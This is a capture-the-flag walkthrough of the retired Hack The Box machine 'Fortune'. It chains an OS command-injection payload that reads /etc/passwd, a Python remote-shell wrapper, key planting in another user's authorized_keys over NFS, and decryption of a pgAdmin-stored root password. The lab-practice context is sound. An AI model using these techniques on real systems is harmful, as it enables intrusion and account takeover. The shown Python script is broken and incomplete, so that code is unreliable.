Fortune : Hackthebox Walkthrough

Fortune is an retired machine of hackthebox. It is very interesting, we have to walk through the three users (bob, nfsuser, charlie) using three services(fortune, sshauth, pgadmin4) in order to get the root, And also keen observation is very helpful in this machine.


  1. Exploit the service on http (fortune service) with RCE, getting the access over some files of user bob (SSL certificates).
  2. Using those certificates we can access the service over https (sshauth service) to generate ssh keys and access ssh over nfsuser which turns the nfs server(/home) on . 
  3. Using nfs we can place our ssh keys in charlie authorized keys and access the ssh over charlie. By which we can look for the files[pgadmin4.db] of stopped service (pgadmin4 service).
  4. In which bob set dba password as root user password. By decrypting the password of bob. We can get the user root. 

Enumeration :

$ sudo masscan -e tun0 -p1-65535,U1-65535 --rate=1000 | tee masscan.txt

Starting masscan 1.0.3 ( at 2019-08-08 17:22:01 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 80/tcp on                                    
Discovered open port 22/tcp on                                    
Discovered open port 443/tcp on

$ nmap -n -v -Pn -p80,22,443 -A --reason -oN nmap.txt
22/tcp  open  ssh        syn-ack OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
|   256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_  256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (EdDSA)
80/tcp  open  http       syn-ack OpenBSD httpd
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
443/tcp open  ssl/https? syn-ack
|_ssl-date: TLS randomness does not represent time

PORT 80 (http service) :

A fortune service which display's random content everytime using a selection list with post
curl -X POST '' --data 'db=zippy'

PORT 443(https service) :

A self signed https service
We need the SSL certificates inorder to access this service

Exploiting ::

By doing some recon

$ wfuzz -w SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -d "db=FUZZ"

ID Response   Lines      Word         Chars          Payload    

000005:  C=500      4 L       40 W     291 Ch   "../../../../../../etc/shadow"
000006:  C=500      4 L       40 W     291 Ch   "/etc/shadow"
000009:  C=500      4 L       40 W     291 Ch   "/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c.."
000010:  C=500      4 L       40 W     291 Ch   "%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%  25%5c..%25%5c.."
000001:  C=200     16 L       25 W     293 Ch   "/.../.../.../.../.../"
000002:  C=500      4 L       40 W     291 Ch   "\…..\\\…..\\\…..\\\"
000003:  C=500      4 L       40 W     291 Ch   "../../../../../../etc/passwd"
000004:  C=500      4 L       40 W     291 Ch   "/etc/passwd"
000007:  C=200     88 L      179 W    4210 Ch   "%0a/bin/cat%20/etc/passwd"

Remote Command Execution ::
written a python script to simplify the task of crawling through directories

from bs4 import BeautifulSoup as BS
from requests import post
import html

class col:
    end ='\033[02m'

def output(page):
    m = BS(page,"html.parser")
    S = m.find_all("pre")[0].text[2:-3].split("\n")
    if S == [""]:
        return cur_dir,None
    path = S.pop()
    output = "\n".join(S)
    return path,output

def run_cmd(cmd):
    global cur_dir
    P = payload.format(cur_dir,cmd)
    Text = post(url,data={"db":P}).text
    cur_dir,out = output(Text)
    if out != None:
        print (out)

payload = "asd\ncd {}\n{}\npwd"
url = ""

cur_dir = "/var/appsrv/fortune"
print("CMD :: ")
while True:
    usrname = col.bold + + "D1r3Wolf" + col.reset
    pcname = col.bold + + "" + col.reset
    path = col.bold + + cur_dir + col.reset
    cmdline = usrname + "@" + pcname + ":" + path + "$ "
    cmd = input(cmdline)
    if cmd == "exit":

We can get intermediate.cert.pem intermediate.key.pem on user bob, By using these we can now access the self signed https service (sshauth)

We can generate the ssh keys(public & private keys) for a nfsuser using

$ curl -i -v --request GET https://fortune.htb/generate --cert intermediate.cert.pem --key intermediate.key.pem --cert-type pem --resolve 'fortune.htb:443:'

<!DOCTYPE html>
<title>authpf ssh access</title>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<h2>AuthPF SSH Access</h2>
<p>The following public key has been added to the database of authorized keys:</p>

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/MdEXXElAvzXl3c4hNA+XFfrtlaAH+OGSlgeSfBR51pd1a5YIqFX150ligcHz89aclQhzbzWug5IY1kawSKUKFEHDCbTxEc6FTWfIR5m8ojI2qNzy89DV9Yn/U1RD3tuqKKT54PdRMPay2zbOPuo9nxvKqEVIJrDr8sg1tUV5sm+eHMvSW0TYeqM9/BbB3NhbxpISzHzDdCs/YqpKFTvqdg1pizDy1e/WPpZ0YsIUr0UHvnt5N4jZjDkchySaUHXphZ7a0WIuMtKetot8MQA4Zsan4zKNrgCY4b8UdFDpciHQk1ZjovEBpkdUy8sVUocZXS/lyEiQ9CQkUPj/btV3
<p>The corresponding private key is as follows:</p>


<p>Please save the above key pair to your local system with appropriate file 
permissions and use your OpenSSH client with the <code>-i</code> option to
obtain elevated network access to the server.</p>
<p><strong>Please note:</strong> If the IP address of your local system changes, 
then you <strong>may</strong> need to generate a new key pair.</p>
* Connection #0 to host fortune.htb left intact
By using those ssh keys, when we login to nfsuser it creates a nfs server.

$ ssh -i id_rsa nfsuser@

Hello nfsuser. You are authenticated from host ""

x@xx:~$ sudo masscan -e tun0 -p1-65535,U1-65535 --rate=1000 | tee masscan.txt

Scanning 1 hosts [65535 ports/host]
Discovered open port 2049/tcp on                                  
Discovered open port 111/tcp on                                   
Discovered open port 443/tcp on                                   
Discovered open port 870/tcp on                                   
Discovered open port 22/tcp on                                    
Discovered open port 8081/tcp on                                  
Discovered open port 80/tcp on 

x@xx:~$ showmount -e              
Export list for
/home (everyone)

x@xx:~$ sudo mount /mnt/home && cd /mnt/home

x@xx:/mnt/home$ ls -l
total 6
drwxr-xr-x 5 1001 mysql 512 Nov  4  2018 bob
drwxr-x--- 3 aj   aj    512 Nov  6  2018 charlie
drwxr-xr-x 2 1002  1002 512 Nov  3  2018 nfsuser

Now we can access some files(/home/charlie/.ssh/authorized_keys) of user charlie through this nfs. 

We can place our public key in authorized_keys & get the ssh over user charlie

x@xx:/mnt/home/charlie/.ssh$ echo "ssh-rsa AAA...gVc3 x@xx" >> authorized_keys

x@xx:~/.ssh$ ssh -i id_rsa charlie@
OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.
fortune$ id
uid=1000(charlie) gid=1000(charlie) groups=1000(charlie), 0(wheel)
fortune$ ls
mbox     user.txt
fortune$ cat user.txt
fortune$ tail mbox

Hi Charlie,

Thanks for setting-up pgadmin4 for me. Seems to work great so far.
BTW: I set the dba password to the same as root. I hope you don't mind.


fortune$ cd /var/appsrv/pgadmin4/                                                                                                                                                     
fortune$ ls
pgadmin4.db  pgadmin4.ini sessions     storage
Now we want the password of pgadmin

>>> cur.execute("select * from user").fetchall()
[(1, 'charlie@fortune.htb', '$pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ', 1, None), 
(2, 'bob@fortune.htb', '$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg', 1, None)]
>>> cur.execute("select * from server").fetchall()
[(1, 2, 2, 'fortune', 'localhost', 5432, 'postgres', 'dba', b'utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz', None, 'prefer', None, None, '', '', None, '<STORAGE_DIR>/.postgresql/postgresql.crt', '<STORAGE_DIR>/.postgresql/postgresql.key', None, None, 0, None, None, None, 0, None, '22', None, 0, None, 0, None)]

Now we have decrypt the password utU...SGz.  using key $pbkdf2-sha512$25000$ 
Using the in pgadmin4 source code.

>>> import crypto
>>> key = '$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg'
>>> ct = 'utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz'
>>> crypto.decrypt(ct,key)

The root password is : R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!

x@xx:~$ ssh -i id_rsa charlie@
Last login: Thu Aug  8 15:53:58 2019 from
OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.
fortune$ su
fortune# id      
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
fortune# cd /root
fortune# ls -l root.txt
-r--------  1 root  wheel  33 Nov  3  2018 root.txt

Thank you :)


Popular posts from this blog

Tokyo Westerns CTF 2020 - writeups.

Alles CTF 2020 Writeups

BugPoc's XSS challenge, Buggy Calculator writeup